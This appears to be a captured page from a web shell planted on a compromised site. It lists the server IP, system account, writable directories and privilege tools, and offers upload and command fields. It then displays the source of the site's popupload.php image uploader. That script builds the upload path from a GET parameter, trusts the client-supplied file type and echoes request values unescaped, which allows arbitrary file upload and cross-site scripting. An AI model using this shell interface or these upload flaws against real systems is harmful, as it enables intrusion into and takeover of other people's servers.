403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.185
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/httpd/html/sportyone.com/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/html/sportyone.com/public_html/popupload.php
<?php
	include_once("_config.php");
	require("fnk/thumbfnc.php");
?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Deathly Intense Document</title>
<link href="../style.css" rel="stylesheet" type="text/css" />
</head>

<body bgcolor="#ffffff" text="#000000">
<?php 
$for = $_GET["for"];
$site_name = $_GET["site_name"];

if(isset($_GET["act"]))
	$act = $_GET["act"];
else
	$act = '';


if($act == "sent") {

	$new_name = $_FILES['userfile']['name']; //$asset_id.'.jpg';
	
		if($for =='L' || $for =='who_says')  // live site?
			{
			echo "1";
			echo $uploaddir = $_GET["root"]."/images/";
			}
		elseif($for =='l_asset')
			{
			echo "2";
			$uploaddir = "/home/dangerl/public_html/images/shows/";
			}
		elseif($for =='n_sites')
			{
			echo "2";
			$uploaddir = ROOT."/images/n_sites/";
			}		
		else // regular sites
			{
			echo "3";
			$uploaddir = $_SESSION['site_info']['root_path_members']."/images/assets/";
			}
	
echo"<br />".	$uploadfile = $uploaddir . $new_name;

	//For troubleshooting, show the variables - Added by Michael Moody - 10/30/07
	//echo $uploadfile;
	//echo $asset_id;
	//echo $size;
	//echo $_FILES['userfile']['name'];
	//echo '<br>';
	//echo $_FILES['userfile']['type'];
	//echo $_FILES['userfile']['error'];

	// give option to allow upload of other size
	/*if($size == "sm")
		$size = "big";
	else if($size == "big")
		$size = "sm";*/

	//The below function was added so that uploads will work in any browser

	function  image_valid($type) {
	    $file_types  = array(   
	    'image/pjpeg'     => 'jpg', 
	    'image/jpeg'     => 'jpg',
	    'image/jpeg'     => 'jpeg',
		'image/png'      => 'png',
		);
	    
		if(!array_key_exists($type, $file_types)) {
	        return "FALSE";
	    }
	    else {
	        return "TRUE";
	    }
	}

	//The below function was modified so that the function would allow any browser.

	if(image_valid($_FILES['userfile']['type']) === "FALSE")
		exit("\n<center>Only Jpg or png Images are allowed!</center>\n");

	if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
		// echo "\n<center>".$new_name ." is valid, and was successfully uploaded.</center><p>\n";
		$images_folder = $uploaddir;
		$thumbs_folder = $uploaddir;
		$from_name = $new_name;
		$image_type = 2;
		
		 if($for == "n_sites")
		 	{	
				$to_name = $site_name.'.jpg';
				$max_x = "20";
				$max_y = "20";
				include("thumb.php");
			} 
		elseif($for == "who_says")
			{	
				$to_name = 'who_says.jpg';
				$max_x = "57";
				$max_y = "150";
				include("thumb.php");

			} 
		else
			{	
							$to_name = $asset_id.'_sm.jpg';
							$max_x = $_SESSION['site_info']['mod_max_x_sm'];
							$max_y = $_SESSION['site_info']['mod_max_x_sm'];
				include("thumb.php");
		
							$to_name = $asset_id.'_med.jpg';
							$max_x = "325";
							$max_y = "320";
				include("thumb.php");
		
							$to_name = $asset_id.'_big.jpg';
							$max_x = $_SESSION['site_info']['mod_max_x_big'];
							$max_y = $_SESSION['site_info']['mod_max_x_big'];
				include("thumb.php");
			}
		
		
/*		echo "del this ".$uploadfile;
		
		unlink($uploadfile);*/
		
		echo "<center style='color: green;'>Uploaded</center><br />";
	} else {
		echo "Possible file upload attack!\n";
	}
}
?>

<!--background="img/loads.jpg"-->
<table  align="center" height="250">
<tr valign="top">
<th>Select the image for <?php echo $site_name; ?>
</th>
</tr>
<tr valign="top">
<th>
</th>
</tr>
<tr valign="top">
<th valign="top">
<!-- The data encoding type, enctype, MUST be specified as below -->

<?php if(isset($_GET['for']))
		{$for = $_GET['for'];}
			else
			{$for = "";}
 ?>
<form enctype="multipart/form-data" action="popupload.php?act=sent&for=<?php echo $for ?>&site_name=<?php echo $site_name ?>" method="POST">
    <!-- MAX_FILE_SIZE must precede the file input field -->
    <input type="hidden" name="MAX_FILE_SIZE" value="500000"/>
    <!-- Name of input element determines name in $_FILES array -->
    Send this file: <input name="userfile" type="file" />
    <input type="submit" value="Send File" />
</form>
</th>
</tr>
</table>

<div align="center" class="style2" style="border-top:none">

<a href="javascript:window.close()">Close Me</a></div>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit